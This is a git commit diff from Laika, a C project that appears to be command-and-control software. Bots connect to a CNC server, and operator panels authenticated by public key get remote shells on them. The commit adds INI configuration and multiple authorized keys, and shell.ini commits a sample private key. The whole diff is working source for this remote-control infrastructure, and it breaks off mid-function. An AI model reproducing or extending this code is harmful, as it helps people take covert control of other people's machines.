Added config inis, key refactoring

- CNC can accept multiple different auth keys now
- laikaK_checkAuth() added
- shell defaults to using shell.ini config file
- CNC doesn't require a config file however it's highly recommended
This commit is contained in:
CPunch 2022-04-05 23:57:37 -05:00
parent 00070d84ca
commit e228c98c80
16 changed files with 178 additions and 19 deletions

4
.gitignore vendored
View File

@ -2,4 +2,6 @@ build
debug
bin
.vscode
lconfig.h
lconfig.h
lcontent.c
lcontent.h

View File

@ -15,7 +15,7 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
laikaB_readShell(bot, bot->shell);
}
int main(int argv, char **argc) {
int main(int argv, char *argc[]) {
struct sLaika_bot *bot = laikaB_newBot();
/* init task service */

View File

@ -34,13 +34,19 @@ struct sLaika_cnc {
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
int authKeysCap;
int authPeersCount;
int authPeersCap;
uint16_t port;
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
void laikaC_freeCNC(struct sLaika_cnc *cnc);
void laikaC_bindServer(struct sLaika_cnc *cnc);
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
@ -49,6 +55,8 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key);
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

View File

@ -184,19 +184,17 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
cnc->authKeysCap = 4;
cnc->authPeersCap = 4;
cnc->authPeersCount = 0;
cnc->port = port;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
laikaP_initPList(&cnc->pList);
/* bind sock to port */
laikaS_bind(&cnc->sock, port);
/* add sock to pollList */
laikaP_addSock(&cnc->pList, &cnc->sock);
if (sodium_init() < 0) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("LibSodium failed to initialize!\n");
@ -209,13 +207,30 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
LAIKA_ERROR("Failed to init cnc keypairs!\n");
}
laikaC_addAuthKey(cnc, LAIKA_PUBKEY);
return cnc;
}
void laikaC_bindServer(struct sLaika_cnc *cnc) {
/* bind sock to port */
laikaS_bind(&cnc->sock, cnc->port);
/* add sock to pollList */
laikaP_addSock(&cnc->pList, &cnc->sock);
}
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
int i;
laikaS_cleanSocket(&cnc->sock);
laikaP_cleanPList(&cnc->pList);
hashmap_free(cnc->peers);
/* free auth keys */
for (i = 0; i < cnc->authKeysCount; i++) {
laikaM_free(cnc->authKeys[i]);
}
laikaM_free(cnc->authKeys);
laikaM_free(cnc);
}
@ -297,6 +312,16 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
laikaC_onAddPeer(cnc, peer);
}
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
LAIKA_DEBUG("added panel %p!\n", authPeer);
}
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
int i;
@ -308,14 +333,17 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
}
}
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
uint8_t *buf;
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL))
LAIKA_ERROR("Failed to load key '%s'\n", key);
LAIKA_DEBUG("added panel %p!\n", authPeer);
/* insert key */
cnc->authKeys[cnc->authKeysCount++] = buf;
printf("[~] Added authenticated public key '%s'\n", key);
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {

View File

@ -67,7 +67,7 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_
switch (authPeer->type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */

View File

@ -2,14 +2,51 @@
#include "ltask.h"
#include "cnc.h"
#include "ini.h"
struct sLaika_taskService tService;
int main(int argv, char **argc) {
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key-entry")) {
laikaC_addAuthKey(cnc, value);
} else if (MATCH("server", "port")) {
cnc->port = atoi(value);
} else {
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
return true;
}
int main(int argv, char *argc[]) {
struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */
if (argv >= 2 && !loadConfig(cnc, argc[1]))
return 1;
laikaT_initTaskService(&tService);
laikaC_bindServer(cnc);
while (true) {
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
laikaT_pollTasks(&tService);

7
lib/NOTES.md Normal file
View File

@ -0,0 +1,7 @@
There are some unused features and boilerplate. The unused files include:
- ltunnel.h
- ltunnel.c
- lbox.h
- lvm.h
These files can be safely removed from the library.

View File

@ -10,4 +10,6 @@
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv);
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv);
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys);
#endif

View File

@ -166,7 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket

View File

@ -152,8 +152,8 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
}
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) {
socklen_t addressSize;
struct sockaddr_in address;
socklen_t addressSize = sizeof(struct sockaddr_in);
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
if (SOCKETINVALID(sock->sock))

View File

@ -17,3 +17,17 @@ bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
return crypto_kx_keypair(outPub, outPriv) == 0;
}
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
int i;
/* check if key is in authKey list */
for (i = 0; i < keys; i++) {
if (sodium_memcmp(pubKey, authKeys[i], crypto_kx_PUBLICKEYBYTES) == 0)
return true;
}
/* key not found */
return false;
}

6
server.ini Normal file
View File

@ -0,0 +1,6 @@
[server]
;port = 13337
; add authorized keys here
[auth]
public-key-entry: 2d89362e935f96ab967938a279c786958cd4d2f5e6a05c8e2cdee916042f8700

4
shell.ini Normal file
View File

@ -0,0 +1,4 @@
; generate your own keys using genKey (REPLACE THESE)
[auth]
public-key = 2d89362e935f96ab967938a279c786958cd4d2f5e6a05c8e2cdee916042f8700
private-key = a8e25e49ffb13b2e1beb90b15ce3a4f1f037e2409af822aab138cdbd9927c468

View File

@ -26,6 +26,7 @@ void shellC_cleanup(tShell_client *client);
void shellC_connectToCNC(tShell_client *client, char *ip, char *port);
bool shellC_poll(tShell_client *client, int timeout);
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */

View File

@ -2,20 +2,62 @@
#include "sclient.h"
#include "sterm.h"
#include "ini.h"
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n\t██╗ █████╗ ██╗██╗ ██╗ █████╗\n\t██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n\t██║ ███████║██║█████╔╝ ███████║\n\t██║ ██╔══██║██║██╔═██╗ ██╔══██║\n\t███████╗██║ ██║██║██║ ██╗██║ ██║\n\t╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
tShell_client *client = (tShell_client*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key")) {
shellC_loadKeys(client, value, NULL);
PRINTINFO("Auth pubkey: %s\n", value);
} else if (MATCH("auth", "private-key")){
shellC_loadKeys(client, NULL, value);
} else {
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(tShell_client *client, char *config) {
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
return true;
}
int main(int argv, char *argc[]) {
tShell_client client;
char *configFile = "shell.ini";
bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
shellC_init(&client);
/* load config file */
if (argv > 2)
configFile = argc[1];
if (!loadConfig(&client, configFile))
return 1;
shellC_connectToCNC(&client, "127.0.0.1", "13337");
shellT_conioTerm();

View File

@ -167,7 +167,8 @@ void shellC_init(tShell_client *client) {
LAIKA_ERROR("LibSodium failed to initialize!\n");
}
if (!laikaK_loadKeys(client->pub, client->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) {
/* by default use random key */
if (!laikaK_genKeys(client->pub, client->priv)) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init keypair!\n");
}
@ -251,6 +252,13 @@ bool shellC_poll(tShell_client *client, int timeout) {
return true;
}
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) {
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init keypair!\n");
}
}
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});